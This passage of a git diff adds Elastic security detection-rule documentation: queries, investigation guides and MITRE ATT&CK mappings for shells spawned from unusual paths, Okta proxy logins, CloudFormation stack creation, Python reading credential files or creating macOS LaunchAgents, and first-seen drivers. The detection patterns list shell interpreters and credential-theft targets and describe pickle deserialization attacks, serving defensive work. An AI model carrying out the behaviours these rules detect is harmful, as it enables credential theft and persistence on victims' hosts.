in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + ( + process.parent.name like ".*" or + process.parent.name like "*.elf" or + process.parent.name like "*.sh" or + process.parent.name like "*.py" or + process.parent.name like "*.rb" or + process.parent.name like "*.pl" or + process.parent.name like "*.lua*" or + process.parent.name like "*.php*" or + process.parent.name like "*.js" + ) or + ( + process.parent.executable like "/tmp/*" or + process.parent.executable like "/var/tmp/*" or + process.parent.executable like "/dev/shm/*" or + process.parent.executable like "./*" or + process.parent.executable like "/run/*" or + process.parent.executable like "/var/run/*" or + process.parent.executable like "/boot/*" or + process.parent.executable like "/sys/*" or + process.parent.executable like "/lost+found/*" or + process.parent.executable like "/proc/*" or + process.parent.executable like "/var/mail/*" or + process.parent.executable like "/var/www/*" or + process.parent.executable like "/home/*" or + process.parent.executable like "/root/*" + ) + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.parent.name, + process.parent.executable, + process.executable, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc new file mode 100644 index 0000000000..d825038dfe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-first-occurrence-of-okta-user-session-started-via-proxy]] +=== First Occurrence of Okta User Session Started via Proxy + +Identifies the first occurrence of an Okta user session started via a proxy. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta.system-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://developer.okta.com/docs/reference/api/system-log/#issuer-object +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Identity +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Occurrence of Okta User Session Started via Proxy* + + +This rule detects the first occurrence of an Okta user session started via a proxy. This rule is designed to help identify suspicious authentication behavior that may be indicative of an attacker attempting to gain access to an Okta account while remaining anonymous. This rule leverages the New Terms rule type feature where the `okta.actor.id` value is checked against the previous 7 days of data to determine if the value has been seen before for this activity. + + +*Possible investigation steps:* + +- Identify the user involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Examine the `okta.debug_context.debug_data.flattened` field for more information about the proxy used. +- Review the `okta.request.ip_chain` field for more information about the geographic location of the proxy. +- Review the past activities of the actor involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. + + +*Response and remediation:* + +- Review the profile of the user involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting the user's password and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the user. +- If the user is not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and + okta.event_type: ( + user.session.start or + user.authentication.verify or + user.authentication.sso or + user.authentication.auth_via_mfa + ) and + okta.security_context.is_proxy:true and + not okta.actor.id: okta* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-aws-cloudformation-stack-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-aws-cloudformation-stack-creation.asciidoc new file mode 100644 index 0000000000..9888b369c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-aws-cloudformation-stack-creation.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-20-first-time-aws-cloudformation-stack-creation]] +=== First Time AWS CloudFormation Stack Creation + +This rule detects the first time a principal calls AWS CloudFormation CreateStack, CreateStackSet or CreateStackInstances API. CloudFormation is used to create a collection of cloud resources called a stack, via a defined template file. An attacker with the appropriate privileges could leverage CloudFormation to create specific resources needed to further exploit the environment. This is a new terms rule that looks for the first instance of this behavior for a role or IAM user within a particular account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-concepts.html +* https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_CreateStack.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: CloudFormation +* Use Case: Asset Visibility +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time AWS CloudFormation Stack Creation* + + +AWS CloudFormation automates the setup of cloud resources using templates, streamlining infrastructure management. Adversaries with access can exploit this to deploy malicious resources, escalating their control. The detection rule identifies unusual activity by flagging the initial use of stack creation APIs by a user or role, helping to spot potential unauthorized actions early. + + +*Possible investigation steps* + + +- Review `aws.cloudtrail.user_identity.arn` to identify the user or role that initiated the `CreateStack` or `CreateStackInstances` action. +- Verify the IAM permissions of the user or role involved in the event to ensure they have the appropriate level of access and determine if the action aligns with their typical responsibilities. +- Examine the stack template used to identify any unusual or unauthorized resources being provisioned. +- Investigate any related resources that were deployed as part of the stack. +- Correlate the timing of the stack creation with other logs or alerts to identify any suspicious activity or patterns that might indicate malicious intent. +- Investigate the account's recent activity history to determine if there have been any other first-time or unusual actions by the same user or role. + + +*False positive analysis* + + +- Routine infrastructure updates by authorized users may trigger the rule. To manage this, maintain a list of users or roles that regularly perform these updates and create exceptions for them. +- Automated deployment tools or scripts that use CloudFormation for legitimate purposes can cause false positives. Identify these tools and exclude their associated IAM roles or users from the rule. +- New team members or roles onboarding into cloud management tasks might be flagged. Implement a process to review and whitelist these users after verifying their activities. +- Scheduled or periodic stack creations for testing or development environments can be mistaken for suspicious activity. Document these schedules and exclude the relevant users or roles from the rule. +- Third-party services or integrations that require stack creation permissions could be misidentified. Ensure these services are documented and their actions are excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the IAM user or role that initiated the stack creation to prevent further unauthorized actions. This can be done by revoking permissions with a https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[DenyAll] permissions policy or disabling the account temporarily. +- Review the created stack for any unauthorized or suspicious resources. Identify and terminate any resources that are not part of the expected infrastructure. +- Conduct a thorough audit of recent IAM activity to identify any other unusual or unauthorized actions that may indicate further compromise. +- If malicious activity is confirmed, escalate the incident to the security operations team for a full investigation and potential involvement of incident response teams. +- Implement additional monitoring and alerting for the affected account to detect any further unauthorized attempts to use CloudFormation or other critical AWS services. +- Review and tighten IAM policies and permissions to ensure that only necessary privileges are granted, reducing the risk of exploitation by adversaries. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and event.provider:cloudformation.amazonaws.com and + event.action: (CreateStack or CreateStackInstances) + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-accessed-sensitive-credential-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-accessed-sensitive-credential-files.asciidoc new file mode 100644 index 0000000000..c0dd51e042 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-accessed-sensitive-credential-files.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-first-time-python-accessed-sensitive-credential-files]] +=== First Time Python Accessed Sensitive Credential Files + +Detects the first time a Python process accesses sensitive credential files on a given host. This behavior may indicate post-exploitation credential theft via a malicious Python script, compromised dependency, or malicious model file deserialization. Legitimate Python processes do not typically access credential files such as SSH keys, AWS credentials, browser cookies, Kerberos tickets, or keychain databases, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Accessed Sensitive Credential Files* + + +Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — often target sensitive credential files such as SSH keys, cloud provider credentials, browser session cookies, and macOS keychain data. Since legitimate Python processes do not typically access these files, a first occurrence from a Python process is highly suspicious. + +This rule leverages the Elastic Defend sensitive file `open` event, which is only collected for known sensitive file paths, combined with the New Terms rule type to alert on the first time a specific credential file is accessed by Python on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Examine the Python process command line and arguments to identify the script or command that triggered the file access. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Review the specific credential file that was accessed and assess the potential impact (SSH keys enable lateral movement, AWS credentials enable cloud access, browser cookies enable session hijacking). +- Check for outbound network connections from the same process tree that may indicate credential exfiltration. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Look for file creation events in `/tmp/` or other staging directories that may contain copies of the stolen credentials. + + +*False positive analysis* + + +- Python-based secret management tools (e.g., `aws-cli`, `gcloud`) legitimately access credential files. Consider excluding known trusted executables by process path. +- SSH automation scripts using `paramiko` or `fabric` may read SSH keys. Evaluate whether the access pattern matches known automation workflows. +- Security scanning tools running Python may enumerate credential files as part of their assessment. + + +*Response and remediation* + + +- Immediately rotate any credentials that were potentially accessed (SSH keys, AWS access keys, cloud tokens). +- Quarantine the Python process and investigate the source script, package, or model file that triggered the access. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. +- Review outbound network connections from the host around the time of the credential access to check for exfiltration. +- Consider implementing `weights_only=True` enforcement for PyTorch model loading across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:macos and event.action:open and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc new file mode 100644 index 0000000000..6913cdec6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-20-first-time-python-created-a-launchagent-or-launchdaemon]] +=== First Time Python Created a LaunchAgent or LaunchDaemon + +Detects the first time a Python process creates or modifies a LaunchAgent or LaunchDaemon plist file on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can establish persistence on macOS by writing plist files to LaunchAgent or LaunchDaemon directories. Legitimate Python processes do not typically create persistence mechanisms, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Created a LaunchAgent or LaunchDaemon* + + +macOS LaunchAgents and LaunchDaemons are plist files that configure programs to run automatically at login or boot. Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — can drop plist files to establish persistence on the compromised host. This ensures their payload survives reboots and user logouts. + +This rule uses the Elastic Defend persistence event type (`event.action:"launch_daemon"`), which captures plist metadata including the program arguments, run-at-load configuration, and keep-alive settings. The New Terms rule type alerts on the first time a Python process creates a LaunchAgent or LaunchDaemon on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Review the persistence event fields (`Persistence.runatload`, `Persistence.keepalive`, `Persistence.args`, `Persistence.path`) to understand the plist configuration. +- Examine the program path and arguments specified in the plist to determine if they reference a known legitimate application or a suspicious binary. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Verify if the target binary referenced in the plist exists on disk and whether it is signed or trusted. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Check for other persistence mechanisms that may have been established around the same time. + + +*False positive analysis* + + +- Some Python-based system management tools (e.g., Ansible, SaltStack) may legitimately create LaunchAgent or LaunchDaemon plist files. Evaluate whether the activity matches a known automation workflow. +- Python-based application installers may create plist files during setup. Check if the activity correlates with a known software installation. + + +*Response and remediation* + + +- Immediately unload the suspicious LaunchAgent or LaunchDaemon using `launchctl unload` with the plist path. +- Remove the suspicious plist file and any associated binary it references. +- Kill any processes launched by the plist file. +- Investigate and quarantine the Python script, package, or model file that created the persistence mechanism. +- Scan the host for additional indicators of compromise. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:macos and event.action:"launch_daemon" and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-spawned-a-shell-on-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-spawned-a-shell-on-host.asciidoc new file mode 100644 index 0000000000..ca4dea80e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-python-spawned-a-shell-on-host.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-first-time-python-spawned-a-shell-on-host]] +=== First Time Python Spawned a Shell on Host + +Detects the first time a Python process spawns a shell on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can result in shell spawns that would not occur during normal workflows. Since legitimate Python processes rarely shell out to interactive shells, a first occurrence of this behavior on a host is a strong signal of potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling +* https://5stars217.github.io/2024-03-04-what-enables-malicious-models/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Spawned a Shell on Host* + + +Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — often spawn shell processes to perform reconnaissance, credential theft, persistence, or reverse shell activity. Since legitimate Python workflows rarely shell out with `-c`, a first occurrence is highly suspicious. + +This rule uses the New Terms rule type to detect the first occurrence of a Python process spawning a shell with the `-c` flag on a given host within a 7-day window. This approach reduces false positives from recurring legitimate Python workflows while surfacing novel, potentially malicious activity. + + +*Possible investigation steps* + + +- Examine the parent Python process command line to identify the script or command that triggered the shell spawn. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Review the shell command arguments to assess intent (credential access, reverse shell, persistence, reconnaissance). +- Inspect the full process tree to determine if the Python process was launched from an interactive session, a cron job, or an automated pipeline. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Correlate with other hosts in the environment to determine if the same behavior is occurring elsewhere, which may indicate a supply chain compromise. + + +*False positive analysis* + + +- Development environments where Python scripts legitimately shell out for system tasks (e.g., build scripts, CI/CD runners) may trigger this rule on first occurrence. Consider excluding known CI/CD working directories or build automation paths. +- Package installation via pip or conda may spawn shells during post-install scripts. These are excluded by the query filter. +- Jupyter notebooks executing system commands via `!` or `subprocess` may trigger this rule in data science environments. + + +*Response and remediation* + + +- Investigate the shell command that was executed and assess its impact (credential access, persistence, data exfiltration). +- If a malicious file is confirmed, quarantine it and identify its source (PyPI, Hugging Face, shared drive, email attachment). +- Scan other hosts that may have received the same file. +- Review and rotate any credentials that may have been accessed. +- Consider implementing `weights_only=True` enforcement for PyTorch model loading across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:macos and event.type:start and event.action:exec and +process.parent.name:python* and +process.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and process.args:"-c" and +not process.command_line:(*pip* or *conda* or *brew* or *jupyter*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-seen-driver-loaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-seen-driver-loaded.asciidoc new file mode 100644 index 0000000000..47b5463895 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-seen-driver-loaded.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-first-time-seen-driver-loaded]] +=== First Time Seen Driver Loaded + +Identifies the load of a driver with an original file name and signature values that were observed for the first time during the last 30 days. This rule type can help baseline drivers installation within your environment. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/kr/security-labs/stopping-vulnerable-driver-attacks + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Driver Loaded* + + +A driver is a software component that allows the operating system to communicate with hardware devices. It works at a high privilege level, the kernel level, having high control over the system's security and stability. + +Attackers may exploit known good but vulnerable drivers to execute code in their context because once an attacker can execute code in the kernel, security tools can no longer effectively protect the host. They can leverage these drivers to tamper, bypass and terminate security software, elevate privileges, create persistence mechanisms, and disable operating system protections and monitoring features. Attackers were seen in the wild conducting these actions before acting on their objectives, such as ransomware. + +Read the complete research on "Stopping Vulnerable Driver Attacks" done by Elastic Security Labs https://www.elastic.co/kr/security-labs/stopping-vulnerable-driver-attacks[here]. + +This rule identifies the load of a driver with an original file name and signature values observed for the first time during the last 30 days. This rule type can help baseline drivers installation within your environment. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Examine the driver loaded to identify potentially suspicious characteristics. The following actions can help you gain context: + - Identify the path that the driver was loaded from. If using Elastic Defend, this information can be found in the `dll.path` field. + - Examine the digital signature of the driver, and check if it's valid. + - Examine the creation and modification timestamps of the file: + - On Elastic Defend, those can be found in the `dll.Ext.relative_file_creation_time` and `"dll.Ext.relative_file_name_modify_time"` fields, with the values being seconds. + - Search for file creation events sharing the same file name as the `dll.name` field and identify the process responsible for the operation. + - Investigate any other abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. + - Use the driver SHA-256 (`dll.hash.sha256` field) hash value to search for the existence and reputation in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Use Osquery to investigate the drivers loaded into the system. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} +- Identify the driver's `Device Name` and `Service Name`. +- Check for alerts from the rules specified in the `Related Rules` section. + + +*False positive analysis* + + +- Matches derived from these rules are not inherently malicious. The security team should investigate them to ensure they are legitimate and needed, then include them in an allowlist only if required. The security team should address any vulnerable driver installation as it can put the user and the domain at risk. + + +*Related Rules* + + +- Untrusted Driver Loaded - d8ab1ec1-feeb-48b9-89e7-c12e189448aa +- Code Signing Policy Modification Through Registry - da7733b1-fe08-487e-b536-0a04c6d8b0cd +- Code Signing Policy Modification Through Built-in tools - b43570de-a908-4f7f-8bdb-b2df6ffd8c80 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Disable and uninstall all suspicious drivers found in the system. This can be done via Device Manager. (Note that this step may require you to boot the system into Safe Mode) +- Remove the related services and registry keys found in the system. Note that the service will probably not stop if the driver is still installed. + - This can be done via PowerShell `Remove-Service` cmdlet. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Ensure that the Driver Signature Enforcement is enabled on the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"driver" and host.os.type:windows and event.action:"load" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify 